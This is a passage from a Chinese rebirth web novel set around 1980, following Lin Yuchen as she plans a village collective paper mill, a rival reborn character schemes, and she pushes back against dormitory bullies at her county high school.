夜间,病房外的城市大街上,车如流水,灯火如龙,充斥着勃勃的生气、旁人无限的未来。
而她蹒跚着立在窗前,心底、脑海里泛上羡慕,滑过悔恨,甚至怨毒……宛如即将腐烂的阴湿槁木,准备烂在这方明亮的墓地,意识里好像只有死亡才能带来真正的平静和慰藉。
现在,林语晨回到出生的村子,听着颇有人气的声响,心仿佛被什么抹平,静得像村里的天空,宛如展会上的油画,涂抹着五彩缤纷的晚霞。
活着,下定决心正正经经得活一次,一定能带来新的人生。
林语晨仰首走着,也不怕踢到石头。
若是踢到了,那块石头一定是喜欢她,想要和她来一次偶遇。
思绪流转。
确实恨透楚邵,甚至想要他站在高处后再重重地跌一次,然后再也爬不起来,再也没有出人头地的机会。
楚邵要办造纸厂,以他的性子,为对付环保局的陆天必然会再次走上那条投机取巧的歪路……
然后,林语晨会收集他的犯罪证据,彻底送楚邵进局子。
主投资人进去,入股投资的赵晓鹤就会按法律程序接手造纸厂,完成一出移花接木的好戏,之后赵晓鹤就是最大的赢家。
这就是林语晨准备好的复仇计划。
然而,赵晓鹤的高考之说,赵有归的村办厂思路,又改变了林语晨的想法。
楚邵,让这个贱人彻底走出自己的人生,不好吗?
“哎呀,忘记了,约了他明天八点在赵晓鹤家碰头。”林语晨低头,看着硌脚的石头,踢了一脚,石头飞跳着进赵有归家的院子。
“呃……”
劈砍声停下来,男人提着斧头看过去,观察着林语晨的表情,似要看出朵花儿。
林语晨眨眼,有点悚,转眼对上枣树下沈秋霞的笑脸,尬笑:“婶婶,不好意思啊。”
“没事。正好婶婶找你有事,进来坐。”沈秋霞招呼着,又朝赵有归说,“有归,到堂屋里拿包桂圆,还有我房间里有两块手帕,白色绣花得那块拿来给晨晨。”
不等林语晨拒绝,沈秋霞又说:“之前在卫生院,你的格子帕被我弄脏了,我洗干净了,但是,毕竟我用过,再还你不好意思,就托赵小姑买块新的还你。”
赵有归竖着耳朵,进房间拿东西。
林语晨赶紧说:“不打紧,婶婶,我不能拿你家的东西。不然,我妈得念我,先走了呀。”说着逃也似地跑走。
“哎?”沈秋霞看到赵有归拎着东西出来,赶紧说,“你提去她家,顺便谢谢你林叔林姨今天帮了咱家大忙,还有你林叔送我上医院的事,好好同人家说声谢。”
“好。”赵有归应完,提着东西追了出去。
几步就赶上林语晨,他沉声说:“等等……”
林语晨在路边等他,看着他手里的袋包:“你还是别拿去了,我妈不会收的。”
“我说给林叔下酒,他不会拒绝。”赵有归笑下,又把白色的手绢递去,“这个……你得收吧?”
“其实,原先那块还我就好。我用了很多年,是我妈的嫁妆,本来送给我爸,我爸当兵不回,她一气之下就藏了。后来,我爸也舍不得用,传给我。”林语晨说完,见他还递着白手绢,只能接过来。
“谢谢,走吧。”
赵有归本想把兜里那块格子帕拿出来,听着又放下手,随她走着。
“你想好了吗?”
“嗯?”林语晨愣下,“哦”了声。“赵晓鹤答应不借钱给楚邵,他本来也不想借钱给他。另外,他说会帮忙撮合村办厂的事,估计去求他二叔帮忙。”
赵有归默下,突然想起母亲的话:你把晨晨娶回来。不过,以这情形看,赵晓鹤也喜欢林语晨吧。
“村办厂的问题不大,能不能动员大家集资,以及办不办得起来是看上面的政策有没有扶持到地方。”
林语晨停下脚步,仔细地看向赵有归。生出一种感觉,这个深沉的男人所蕴含的能量可能比她知道得要大得多。
“你……怎么这么肯定这事能成呢?”
赵有归含笑点头,这次把话说全:“前两日我上市局报道,打听些
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情况。灵江市支持县地方办集体厂。只不过,现在开放,人心不齐,大家的积极性都在搞私营方面。但是,你知道我们国家的性质,必须有地方性集体厂的支撑才能稳定大局。
私营厂确实可以促进生产力,调动老百姓的生产积极性。但是,集体厂是地方的根本,稳固、稳定社会的根基企业。”
“你这大局观……不知道还以为你是政府官员。”林语晨说句笑话,惹得赵有归笑了下。
两人到林家的院门口。
林兰香正好从地里回家,准备做晚饭。
“有归,有事啊?”利落的眼神又扫向女儿,“你怎么在院外面,不是在读书吗?”
林语晨哦哦两声,赶紧找借口:“我听到有归哥喊……出来看看。有归哥要感谢你帮忙做饭呢,送点东西过来给你。”
赵有归见林语晨伸手,赶紧把桂圆包递去,边应:“是啊,林姨。我和我妈都想要谢谢林叔和你,还有语晨。”
林兰香被转移注意力,一巴掌拍在林语晨的手上:“怎么哪都有你!回去温习功课,明早你爸和赵家二叔送你回学校。”
赶走林语晨,又说,“有归,别跟姨客气。你林叔热心肠,我嫁给他还不跟着热乎啊。说笑了,你妈刚回来,正需要补气补血的时候,东西拿回去给她吃。
林姨用不着啊。快进屋坐。”
赵有归莞尔,诚心诚意地感激:“林姨,这次多亏你和林叔,这点东西是我们的一点心意。若不是林叔帮着送我妈上卫生院,及时止住炎症,后果不堪设想。
即便这样,赵医生也说肺肿不可挽回,以后不能干重活。”
林兰香听着很是感慨,安慰他说:“幸好,往后你回来,你妈总算有个靠得住的人帮衬着。”
赵有归点头:“嗯。等城里安顿好后,我打算带我妈去城里住上一阵子,主要是做个全身检查。等落实好,我再把林姨、林叔、还有语晨一起带去做个全身检查。”
林兰香忍不住笑起来,心里暖暖:“哪要这么麻烦啊。我和你林叔身体好着呢。话说回来,确实该带你妈去检查检查。呵呵……”
赵有归也笑,并没有深入这个话题,又问:“林叔不在家吗?”
“他啊,出去打听点事,应该快回来。”林兰香说着请赵有归入坐,“随便坐啊,我去把篮子放放就来。”
林语晨自觉地倒杯水,递到赵有归面前,看着他放下桂圆包。
“你这人还挺有心,怎么想着带我爸妈去做检查?”
赵有归说那番话其实是为林语晨看病做铺垫。
毕竟,上一世的林语晨是因为患癌进的医院,继而去世。而林大宝和林兰香在那期间做过检查,身体并没有问题。
听到问话,赵有归想着该拿什么借口搪塞过去。
林语晨也想到自己的癌症,觉得该早点做个检查,监控身体的变化情况。赵有归的提议正好击中靶心。
“这是好事,我提前谢谢你。”
赵有归莞尔:“不客气。”
这情况连借口都不用找了。
16. 八一村
林语晨看他这么有心,也有些不好意思,扫见桌上的桂圆包:“我就说我妈不会收,哪有人拿甜桂圆下酒,从没听我爸说过拿桂圆下酒。”
赵有归露出白色的大牙,目光炯炯地看着她:“这次过后林叔会喜欢。”对好奇的林语晨笑下,林语晨似被他感染,莫名回笑,两人像是达成某种默契。
林大宝回家后看到赵有归很兴奋,拉着他说:“有归啊,你来了,正好我有事和你说呢。”
赵有归陪他坐下,在桌上倒杯水递去:“林叔,发生什么事吗?”
林大宝:“晨晨不是要复读嘛。我想着她不喜欢住校,打算在县里租个房子,让你林姨过去照顾她。
我同你说啊,林家村有一个林裕宝,你大概没听说过他。林裕宝的人面广,开放以来赚了钱,搬到镇上住,还买了县里第一辆私人的解放牌货车。
不过,他的兄弟林裕钱还住在村里,说起来是我五服内的亲戚,就托他帮忙打听房子的事。
与他谈话时,我听他说林裕宝想要办厂,还想租赵家村的仓库。”
赵有归思索这番话里的信息,考虑着能不能帮上林家的忙。
楚邵想问林裕宝借钱,林裕宝又打算自己办厂,这才会动念租赵家村的集体仓库吧。或者,楚邵想要同林裕宝合作,多投入点钱,在厂子里两人平起平坐。
林兰香已经在外喊:“林大宝,我说你找谁打听消息呢。你找他家干嘛啊?你忘记你爷爷辈和他们闹的矛盾,又忘记他们打四旧的时候怎么争对咱爸?
林裕钱那种混不吝的男人,打老婆欺负女儿是出了名的孬种。他们林家人欺软怕硬,专拿自己人开刀,怂货一个,你找他们问什么呀?
明日个,我去县上,我自己找房子。”
林语晨坐不住,探头说:“妈,你消消气。爸,我们也在考虑用集体仓库办厂的事呢。若是林裕宝有这心思,我们得比他先一步去办好才行。”
林裕宝的能量可比现在的楚邵强多了。
赵有归终于有机会说话:“你不是说赵晓鹤去给他二叔做工作了嘛。若是他说成,以你二叔在村里的份量,林裕宝想要租这个仓库不容易。”
林大宝听有归和女儿的意思,猜测道:“听你们的意思,咱们也要办厂?”
“而且是集体厂,有归哥的想法。”林语晨把赵有归卖了。
赵有归抿唇笑,没有反驳。
林大宝嗐了声:“赵家村若是办得起厂,早些年搞大锅饭的时候早就办了。这集体厂办得好就属八一村,其它都是挂羊头卖狗肉,赚纳税人的钱。”
“不一样哦。”林语晨又搭句。
前世她要办造纸厂,也是深思熟虑、考察过民情。
“以前,地里的草都被割来喂猪喂羊,没有多余的材料办厂。现在释放劳动力,许多人都往外地跑,不在家里养猪羊,草就多出来。山上的竹木也没人砍伐,造纸的原料很充裕。
日后,造纸业兴起,原料又可以从草木转为废纸材料,节约制浆时间。虽然成本增加,但是省下的时间多生产纸张,可以弥补这点成本。”
赵有归默默地笑着,就知道这姑娘对造纸厂的见解很深。
前世,她能办起这么大的厂子,挺过环境整改的艰难时期,必是下过大功夫。
林大宝嘿笑:“你这丫头啊,书不好好读,没少琢磨歪门邪术。哪知道这造纸厂的事?”
林语晨:“咱们市里就有造纸厂啊,国企。现在的白纸只有国企能生产,我……找厂里的老职工打听过,知道不少呢。另外,我初中同学王白洁就在八一的造纸厂上班,和我说了不少事。”
高中逃学后不学无术,溜城里看西洋镜。林语晨被大城市的工厂、上下班的人潮、自行车大队、货车、火车站……给触动了。
不然,哪来一心要进城里的想法。
林兰香在门口摘菜,回头搭句:“准是去年心里不痛快,问我要钱往城里跑那。今年要是没想着读书,估计这心野得没边,什么事都会干。”
赵有归听着两人说林语晨,有心帮她却发现林兰香说得一点没错。
上一世的一九八零年,对于赵家和林家来说,确实出不少事。
沈秋霞病逝,林语晨办厂、嫁人……大家的人生轨迹在这一年发生重大改变。
赵有归适机地起身,打断林大宝也要说女儿几句的念头:“叔,我先回去了。”
林兰香示意林大宝归还桌上的东西。
林大宝拿起桂圆包要还回去,结果看到赵有归诚挚的眼神,嗐了声:“啥好东西,叔瞅瞅。”
林语晨直摇头:这爸喜欢赵有归是没边了。
林兰香进来,一巴掌拍在林大宝的后背:脸呢!
“桂圆干啊,叔喜欢这个,正好下酒。”林大宝不管身后的两个女人,朝赵有归说,“叔收下了,谢谢你。回去好好照顾你妈。”
赵有归走后,林兰香指着丈夫:“林大宝,我还从来不知道你眼窝这么浅呢?”
林大宝见女儿躲出去,一拍大腿:“糟了,我忘记同有归说,若是林裕宝办厂子,募份子钱,让有归也投一股进去。”
林兰香蹙眉,正要怂他几句。
林语晨在门口回头:“爸,不用了。我看赵有归的主意正着呢,看不上林裕宝那点东西。何况,他办不办的起来还两说呢。”
林兰香蛐蛐女儿:“你现在不是该好好看书吗?别大话撂出去,收不回来丢你自己的脸。人前有归哥,人后赵有归,跟你爸一样是个没脸没气节的货。”
林大宝一脸“女儿你保重”,拿起桂圆躲灶房:“我去烧火啊。”
林语晨一缩脑袋,回房间温习书本。林妈开火,干翻一家老小,就连渣男楚邵都受不住。
林兰香在外喊:“晨晨,有时间收拾收拾住校的东西啊。你先住几天,等妈找好房子再跟你去住外面,省得对上你爸这拎不清的,做好事还收礼,不要脸。”
“知道了。”林语晨在书桌前叹口气,自言自语,“住校也没什么不好,至少不用被楚邵骚扰!”
灶台前,林大宝也在同林兰香说:“有归这个孩子心眼实诚,沈大嫂也是这样。你要不收他家点东西,送沈大嫂看病的恩情能让他们记挂一辈子。
这收了东西,他们娘儿俩心里舒坦。”
林兰香怼回去
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:“不收这点东西,他们就不记得咱家的好了?你收了东西,那还叫帮忙吗?乡里乡亲,你也好意思收。”
林大宝摇头:“你不懂了吧。做好事的前提是你在做这件事,做了就是好。难道得了好处就不叫做好事?你得了好处,好事也做了,这叫两全其美。这做好事和得好处不冲突。
相反,有一点好处反倒能促进旁人做好事的积极性。
但是,做好事不一定是为得好处……”
“行了行了,什么好不好、坏不坏,林大宝,你再给我唠叨,我不做这饭了,你吃你的好处去吧。”林兰香一勺水倒进锅,滋啦声盖过林大宝的认怂声。
晚间,赵晓鹤摸到林语晨家,见到她就说:“语晨,事情成了。我二叔说,今天镇里打电话进村,说我们村若是办集体造纸厂,可以给些政策允许的扶持,甚至帮我们牵头八一村那边的造纸厂,遣人去学习深造,也可以参观八一村的造纸厂生产经营情况。若是有需要,八一村的造纸厂可以给予我们技术支持。八一村的集体造纸厂是在1973年创办,到现在已经有完整的生产销售规模和成熟的机器制纸技术。”
“那可太好了。”林语晨回想上一世,为办这个造纸厂走了多少歪路,摸索多少回啊,便是造纸厂落地这事就被好几个官员卡脖子。
甚至高薪挖同学王白洁来厂里主持生产,费好几个月才摸索着生产出第一版黄板纸,而这是最基础的机器生产纸。
这次若有八一村的技术支持,造纸厂立起来就会快很多,跳过黄板纸,直接生产白卡纸,乃至外包八一村造纸厂的印刷用纸。
不过,八一村向来一心,发展都是向着自家的村民,很少对外开放参观,不知道这次八一村为什么肯同意对接?而且愿意帮助一个尚在谋划筹备中的厂子,这太奇怪了。
赵晓鹤犹在说:“另外,二叔说,这两天会把集体募股的事发广播通知大家。语晨,你放心,你家也在咱们村,募股的时候,林叔吱一声,出钱就成。这可是我二叔的原话。”他摸下头,嘿了声,“我好像也没帮上什么大忙。”
林语晨依旧感激他:“你把消息带给我家已经是帮了大忙。谢谢你,晓鹤。”她又觉得这事顺利得有些出奇,存些疑虑,“晓鹤,我怎么感觉你二叔早就知道这事?”
赵晓鹤点头:“对,我也这么觉得,好像在我们筹划前,二叔他们已经在准备办厂的事一样。对了,他还问我……问我……”
“什么?”
“没什么!”赵晓鹤的脸皮薄,赵松林说得那句话硬是没敢说出口:二叔问我是不是真心想要娶你?若是真心,我得把你看牢了。
说明有人在觊觎语晨。那个人会是谁呢?在背后默默帮林家的人吗?
林语晨拍在他的肩头:“什么话还藏着掖着啊?这事太蹊跷些。对了,明天早上楚邵来问你借钱,你要是不想交恶趁早躲出去。
明早我上县里高中报道,应该碰不上他。”
这鸽子放得好痛快!哈哈!
“好,我听你的话,大清早就躲出去。”赵晓鹤说完还磨叽着不想走,林兰香喊了林语晨睡觉,他才期期艾艾地告别,摸着墙垣回家。
17. 重生者
翌日,天蒙蒙亮,林语晨带大包小包随林爸和赵松林一起坐着赵老三家的拖拉机上县里的高中报道。
林语晨坐在后车斗,听着拖拉机的啪啪啪声,看着赵家村越来越远,心里生出一丝不舍。
总有一天,她还是会远离这个村子。
那时候,希望这个村子发展得越来越好。
“赵二叔,镇里怎么知道村办厂的事呢?”自从林语晨听过赵晓鹤的话,一直存了这个疑虑。她心里有人选,但是又觉得不太可能。赵有归是退伍回来,即使有些能量,但不可能影响到县委、八一村那边的决定吧?
赵松林看着如花似玉的小姑娘,文雅地笑着:“我同村主任和支书打听过,县委那边下的通知,说是要给我们合村。合了村,这村办厂就能集群力办起来。这合村的事你们别说出去啊。”
林大宝懵懵:“哪两个村……合村啊?”
“当然是赵家村和林家村啊。二师兄不说大师兄,灵江第一穷村,说得不就是咱们两个村吗?你们再看看我们上面的八一村,哪个村不羡慕八一村的集体厂办得好啊?
合了村,统一改个村名。
那时候,咱们也能摘掉‘灵江第一穷村’的臭帽子。”
赵松林颇为期盼未来的光景,眼里都盛着光,“这次啊,咱们村有福气,摊上大好事。以前搞集体公社,大家一心干。这次办厂,有了林家村加入,大家再一起干,响应号召,共同富裕。”
林语晨默默地看着斗志高扬的赵松林,只一个感触:当官都是这么滑不留手吗?
我问一个问题,你回答几百个,却没有一个在点子上。默了,听完话,还得帮你保密!
林大宝听完这番话也很激动,合村意味着林家就不再是赵家村的外来户,对于他来说意义非凡。
落叶归根,何尝不是林大宝内心期望的事。
“语晨啊,回学校就好好读书,别再为不相干的人毁自己的前途。少年不重来,莫负好时光啊。”赵松林又嘱咐了句。
“知道了,赵二叔。我不会再傻了。哎,二叔,到底是……”林语晨话说一半,赵松林点了头就同林大宝唠嗑去了,没在听林语晨的问话。
林语晨就知道了,这幕后的人还不想被人知晓,说不定牵扯不可告人的秘密。
县高中属于区第三高中,算是不错的学校。
校长和赵松林碰了头,见了林语晨和林大宝,直言说:“她的学籍还保留着,肯回来完成学业是好事。
林语晨,这次可不能再任性,一定要好好读。考不考得上大学、大中专另说,完成高中学业,有一张毕业文凭,上大厂报道做职工也是一份好前途,记住吗?”
在几位长辈的盯视下,林语晨重重地点头,听着校长室外传来的朗朗读书声,有种恍然隔世的不真实感。
我竟然真得回到学校!?
一直到林语晨坐在高三(四)班教室得最后一排,人都是轻飘飘地不着地。她看着崭新的高三书籍,取出赵晓琳的笔记本,对照着看起来。
“哎,你是林语晨吧?我知道你。”下课后,有几位女同学围在林语晨的桌边。
林语晨抬眼凝视,一言不发看她们闹。
对面的女孩顿了下就蹙眉:“你这什么眼神?我姐是孙佳人,你记得不?她和你同届。她现在在大专学习,以后出来分配当老师。你呢,还是个高中生,哈哈哈……”身后的女孩们陪着她笑。
“孙佳好,你干什么呢?”赵晓琳从一班过来,站在林语晨的桌边,叉腰瞪回去,“怎么,又想狗仗人势欺负我姐啊?”
孙佳好狠瞪赵晓琳眼:“别以为读书好就了不起,考得上未必上得起学。哼,咱们走着瞧!”
林语晨见孙佳好和几个女生离开,拉住要上去理论的赵晓琳:“你怎么来了?”
“语晨姐,你别怕。现在不是两年前了,在学校,我罩着你。她们要是敢欺负你,你找我。”赵晓琳朝孙佳好那边哼唧几声。
有个男同学探头说:“对啊,语晨姐,早就听闻你的大名。以前咱们小,斗不过那批老怂货,现在咱们也是校一霸了。我叫何罗秋,赵晓琳的护花使者。”
林语晨忍俊不禁,看着赵晓琳打何罗秋,莞尔:“谢谢你们。不打紧的,现在我也不会对这种事在意了。”
孙佳人的脸都不记得啥样,遑论妹妹孙佳好,日后在灵江市,不过无足轻重地一员。
赵晓琳和何罗秋一直待到上课才离开,还让林语晨放学后先别回寝室,要帮她补课。
一学期想要追回两年前学过的内容可是大不容易,对于林语晨来说难得不是一星半点。但是,林语晨从来不是怕麻烦的女人,除了涉及父母和死亡,其它时候,她都可以迎难而上。
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赵有归目送林语晨坐的拖拉机离开后也准备出门。他是步行上镇,走不多久,一辆自洗车飞快得从他身边窜过去。
楚邵过了人又刹车,回头喊句:“有归哥?你这是……准备到市局上班?”
“嗯。”赵有归回身,审视楚邵,见他调车头过来,在路边等他。
“嘿,我去找语晨呢。你和她在一个村,看到她吗?”楚邵的眉弓如柳,桃花眼水汪汪带着笑意,里面藏着的深意像把刀,随时准备给人削弱剔骨。
赵有归一身制服,帽檐压着眉,让人瞧不清眼睛,淡定地说:“没见到呢。你找她干什么?”
“哦,没事。我去她家找她。若这次的事情办成,回头请有归哥喝酒啊。”楚邵得意地笑,准备离开。
喝得当然是两人的喜酒。
赵有归心道:原来是来挑衅。竟然你送上门,就别怪我不客气。
“楚邵,听说你和林裕宝合作了?”
楚邵愣下,春风满面的脸上带出微僵:“谈不上合作。这年头,有势力好办事。别说镇,往大了说县,能买得起货车有几个?你说是吧?若是我能借着他的势起来,跑几个局里办事也方便。”
不用像上一世那样,迫不得已让林语晨去给陆天陪酒。
赵有归暗叹:“楚邵,别说我没提醒你。你这想法要不得,趁现在手上干净,赶紧同他撇清关系。”
楚邵是重生者,不是小年轻,听这话意联想到赵有归
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现在的身份。
他生出丝疑虑:“有归哥?听说阿姨的病好了,阿姨是刚烈人,应该不会打电话喊你回来。你是怎么得了消息回村给她治病呢?”
赵有归莞尔:“村委打的电话。至于谁给村委说得这事,就不牢你惦记。好了,我该走了。”
“等等,”楚邵的眼里滑过思量,“有归哥,你不会是重生吧?”
赵有归微顿,回头笑对他:“重生?什么重生?”
“呵,没什么。”楚邵瞬间觉得这么问唐突,而且看赵有归的唇边神色也不像重生者。若他不是重生,谁给他报信说沈秋霞病了呢?以至于沈秋霞没在这年病逝。
他见赵有归继续上路,思考了下又追上去,“有归哥,你刚才那话是什么意思啊?林裕宝那事。”
赵有归睨他,微抬帽檐,露出深邃有力的双眸。
“你帮林裕宝开车,说林裕宝开的工资高,比大厂职工高了整整两倍有余。”
楚邵莫名有点怂,一字不拖地说:“是,可这有什么好奇怪?这年头会开车少啊,不过一张纸质开车证明,考出来又不难。”
说完才发觉口误:这年头会开车的人是真稀少,也说明学开车是非常难的事。
他可以对林语晨自吹自擂说自己是天才,但是对赵有归不行,人家当过兵、开过车,绝对不好忽悠。
“有归哥,”楚邵有点想离开,但是心里痒痒,想知道他那句话的意思。“我还是不明白你到底要说什么,咱们隔壁村也算兄弟,给弟弟透句实话:县里是不是要办林裕宝?”
赵有归面无表情地看着假笑的楚邵,直把人看慌,才淡声说:“林裕宝是不是办了地下赌庄?”
楚邵哑口,噎了下:“我……我不知道这事啊。我只是帮他开车。”
“你现在不陷进去还是清白,再牵扯进去,尤其是金钱方面,回头清算起来,你扯得干净吗?行了,我赶着去镇上坐车。”赵有归拉下警冒帽,大步走了。
楚邵的心扑通扑通直跳:完了。赵有归这么说一定是要办林裕宝。我现在给林裕宝通风报信……不对,赵有归既然敢这么跟我说,若是我跟林裕宝说了,县局抓不到人,这账不就算我头上吗?
我天!楚邵猛得一拍嘴巴,“让你嘴贱,瞎打听什么,这下子好了,两头得罪,以后怎么在灵江市混啊?
不行不行……冷静冷静!”
楚邵看向赵家村的方向:“找语晨,她最有办法了。”说完,跨上自行车,飞也似去找林语晨,理所当然扑了个空。
他在心里直嘀咕:今日出门没看黄历,林语晨不是不信守承诺的人啊,若非在赵晓鹤那混球家里等我?
又去找赵晓鹤,赵晓鹤的妈妈说儿子去别的村收古董、没在家。
这会,楚邵才回过味:“林语晨,她坑老子!他娘的,这个善变的女人!”
在村里打听后,楚邵才知道林语晨听了赵晓鹤的话回县高中读书去了。
“怎么会这样呢?完全变了,全都变了。谁,究竟是谁?一定还有别的重生者,我得把这个坏我好事的人找出来。难道是赵晓鹤?”
18. 校霸凌
“谁干的?”林语晨摸着湿掉的褥子,回头看向一个寝室的七个女孩。
几个叫不出名字的女同学面面相觑,转身各忙各的事,没人搭理林语晨。
林语晨气笑了,若是年轻气盛的时候,端起盆子给每人兜头浇一盆。
自己不好过,你们也别好过。
如今——
她抱起褥子离开寝室,准备找宿管老师解决这问题。
这时,赵晓琳跑了过来。
“语晨姐,怎么了?”她一下子意识到林语晨又被欺负,绕过人,看向寝室里的七个女孩,“你们做了什么?”
有个女孩怯怯地说:“晓琳,不是我们。你们宿舍不是还有个空床铺嘛,你把你姐带回去住吧。”
说完,糟了几个女同学的直眼,不由惴惴不安地低下头,“我们……也不想惹麻烦。”
赵晓琳轻哼了声,有些替林语晨委屈。她喊了同寝的同学李伶俐,绕过林语晨宿舍的几个女孩,拿走林语晨的洗漱用品和衣服包裹,朝目光发亮的林语晨说:“语晨姐,走,你到我们宿舍去住。明天我就同主任说这事,参与得……一个也别跑。”
林语晨本是打算找宿管老师,现下就依着赵晓琳。
小姑娘一腔正义、助人为乐,怎么能让她失望呢?
三人路过宿舍走廊,孙佳好和她的腿毛们靠在宿舍门口冷笑,一副看好戏的神情。
有个女孩直接开口:“啊哈,这么快就变成丧家之犬,没地儿住了。”
有人立时跟上帮腔:“近两年没回学校吧。你们说她在外面有没有谈……男人?”
“说不准不止一个呢。”孙佳好捂着嘴笑,两眼弯弯,盛着一股子戏谑热闹。
林语晨抱着被子停下脚步。
前世时,林爸曾经说:晨晨啊,经年富贵养得不是目下无尘,更不是高人一等的傲气,而是正气、和气和大气。
爸,我现在可不富贵。所以,我邪气、有脾气,还小气。
她把被子堆在李伶俐的手上,回身跨步,在那些人震惊的眼神下,一脚踹向孙佳好。
孙佳好错不及防,往后退去。
林语晨趁机进她们的寝室,环顾一圈,直奔那位洗着脚、眼睛从巴掌大小人书上抬起来的女同学。
后面的腿毛们追上:“喂,你干什么进我们的宿舍?”叽叽喳喳去拦林语晨。
林语晨的速度极快,一眼相中满是水的洗脚盆。电光火石,洗脚的女孩拎起脚,驽嘴指向门口处装点海报画的床铺。
林语晨扯唇角,在孙佳好等人扑来时给这个宿舍来个泼水节。
“吼吼,有意思!”女孩握着小人书跳脚,庆幸水没泼回到自己的床铺。她一边跳,一边幸灾乐祸,乐得不行。
“你疯了,林语晨。”孙佳好的床铺受灾最严重,气得嘶吼了声,扑抓向林语晨。
林语晨一脸盆推开帮忙的腿毛,纵身揪住孙佳好的头发,心一狠,拿着她的头磕向床柱。
她得这股狠劲震住其她人,围观的同学们都吓得不敢动。
堵在宿舍门口的赵晓琳和李伶俐看直了眼,惊地张大嘴。
千钧一发时,林语晨手下留情,没让她真磕在床柱。
在孙佳好惊恐喘息的时候,她捏住她的下颚:“我告诉你,不管你是谁的妹妹,你惹我,我就还给你。下次,我不会收手,让你直接撞上去,破了相,你这辈子就完了。记住了。”
林语晨松开瘫软的孙佳好,凶狠的眼神环顾一圈噤若寒蝉的腿毛,看向握着小人书笑的女孩,有些歉意:“我的脸盆还没用过,赔给你吧。”
赵晓琳赶紧拿脸盆,但是盆里的东西太多,一时也不好倒腾。
小人书女孩拖上鞋,捡起无人敢动的脸盆,甩了几下。
脸盆里剩下的几滴挂壁水都被她甩在腿毛们的身上。那些女孩从惊恐转愤怒,却一点多余的动作都不敢做,明显怕这个女孩。
女孩含笑说:“我叫张茉莉。”拿起脸盆对光照下,豪气地说,“没破,还能用。”
林语晨朝张茉莉点头,接过李伶俐怀里的被褥,清泠泠地看向赵晓琳。
“哦,语晨姐,这边走。”赵晓琳回过神:天啊,语晨姐这么狠吗?她以前为什么会被欺负到退学啊?
孙佳好寝室的人目送三人离开,胆小的女生直接落泪。
几人纷纷看向受惊最严重的孙佳好,发现她赤红着双目,一副咬牙切齿憋狠劲的神色。
张茉莉放回洗脚盆,轻轻说着:“只准你们给人家的床铺泼脏水,不准人家泼你们洗脚水?不睡觉,想找人切磋啊?”
孙佳好恶狠狠地瞪向张茉莉,又赶紧收回眼神,抓起脏湿的被褥扔在地上。
“林语晨,我跟你没完。”
我姐能把你赶出这个学校,我也能做到这事。
这一晚,整个女生宿舍都很热闹,都在讨论插班生反抗孙佳好的事。
孙佳好的宿舍里更是分成两帮,四个人在骂林语晨,安慰躲进别人被窝的孙佳好。
另外三个人由张茉莉带头蛐蛐:“以为人家是只无害的兔子,会任人欺负,结果是只带爪的猫。”
“我听说她以前是被孙佳好的姐姐带头欺负到退学,若是她这么狠,以前为什么会被欺负到退学啊?”
张茉莉哼哼:“泥人还有三分土性,狗急也会跳墙。在社会上混两年,混出脾气了呗。”
夜间,林语晨和赵晓琳躺在床上盖一床被子。入睡前,赵晓琳指点林语晨要背和理解的课本内容。
夜深时,赵晓琳忍不住问出那句:“语晨姐,以前你为什么忍她们啊?”
林语晨困顿得很,迷迷糊糊地说:“年少不懂事,怕给爸妈惹麻烦。后来,经历多了才明白,有时候退一步不一定海阔天空,更多是被人得寸进尺,一步杀十次,直到再也站不起来。”
赵晓琳默默地品味这番话,侧身看向林语晨:“语晨姐,你真棒。突然觉得我哥配不上你。”不过,若是你能嫁给我哥,我哥那软性子就不会被人欺负,嘻嘻!
“嗯?”林语晨的脑子里全是塞进去的公式,迷糊的意识海里全是赵晓琳笔记本上的内容。
“没事,睡吧。”赵晓琳躺正,准备睡觉。
李伶俐兴奋地睡不着,抱着被子坐起:“晓琳,今天可真是过瘾,我们早就看孙佳好不顺眼。仗着家里有点钱经常欺负女同学。你说,她
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会不会恶人先告状,找主任投诉语晨姐啊。”
赵晓琳闭上的眼睛再次睁开:“你们看到语晨姐打人吗?”
“没有。”“没有。”“没有啊,不是孙佳好带人浇湿语晨姐的床褥嘛。”宿舍六个人纷纷响应。
赵晓琳在暗中点头:“明天咱们先告她一状。”
林语晨被这些女孩子的声音弄醒,忍不住勾起唇角。
年轻讲义气,不知天高地厚的一群人,而这样的高中生活很有意思。
翌日,林语晨被叫去校长办公室,已经做好叫家长、挨批评的准备。没想到校长和主任非但没骂还表扬了,不过也提点两句。
张校长:“林语晨,同学们都证明当晚是孙佳好有错在先,也有人看到她向你的床铺泼水。你敢反击的意志很值得欣赏。
但是,你的方式是不是过激了些?下次可以先找宿管老师说明情况,让宿管老师出面解决问题。动手打人,不可取。”
校主任:“是啊,下不为例。我已经通知孙佳好叫她的家长,会跟她说明情况。林语晨同学,你放心,学校会出面解决这件事,而你回去读书,别再管这事。”
林语晨默默地点头,离开校长办公室。
这次和两年前遇到的情况不一样。
上一世,她反抗来着,林兰香到学校赔礼道歉。母亲在校领导面前的谦卑样,让彼时少女的内心愧疚不已。
这一次,校长、主任站在她这边,说明女生宿舍的同学有出力。
这个早上,不少女同学被主任叫去问话。
赵晓琳这个县区年级第一的好学生也站在林语晨这边,再有同寝宿舍的淳于芳,虽然事发时胆小怯懦,但是今早依旧站出来作证。
这说明开放以来,大家的认知在日新月异地变化,这批人真得不是上一批人。
春日的阳光照在人身上暖融融的,林语晨伸个腰:“兵来将挡,水来土掩,大风大浪都经历过,还怕这等小事嘛。”
过后,孙佳好和腿毛们没再惹林语晨,而林语晨和那晚拿小人书的女孩张茉莉成了好友。
张茉莉变成林语晨的同桌,经常把她们宿舍里的八卦说给林语晨听。
林语晨惊讶地问她:“你不怕孙佳好争对你啊?”
张茉莉哼笑:“我怕啥,咱家可是有家传绝学,你不知道我在学校的大名?”
“嗯?”
张茉莉自豪地说:“赵晓琳,学习成绩好,免学费招进咱们学校,全校学习榜样。我,文化课成绩不怎么样,但是家传武术厉害,代表江源县参加国家举办的传统武术大赛,拿过名次。孙佳好也就敢欺负欺负软柿子。你觉得孙佳好那帮人敢惹我吗?我可是三高真正的校霸。”
“厉害!”林语晨朝她竖起大拇指,莞尔,“难怪那天你驽嘴告诉我她的床铺,一蹦三尺高,敏捷得很。”
“哈哈哈……”张茉莉大笑,又捂嘴巴“嘘”了声。
高三备考的年级基本是复习和自习课,很少有老师来管,都靠学生们的自觉。
好奇心重的同学打量那对偷着乐的同桌,窥视捏紧笔杆的孙佳好,聪明人就会摇头:
张茉莉护着林语晨,谁还敢动她。
19. 街溜子
林语晨是在周二到学校报道,上了四天学又逢周末,和赵晓琳约好一起回村。
在江源县的大街上,两人买个油炸馒头和萝卜丝油泡馅的油墩儿,边吃边等赵三叔的拖拉机。
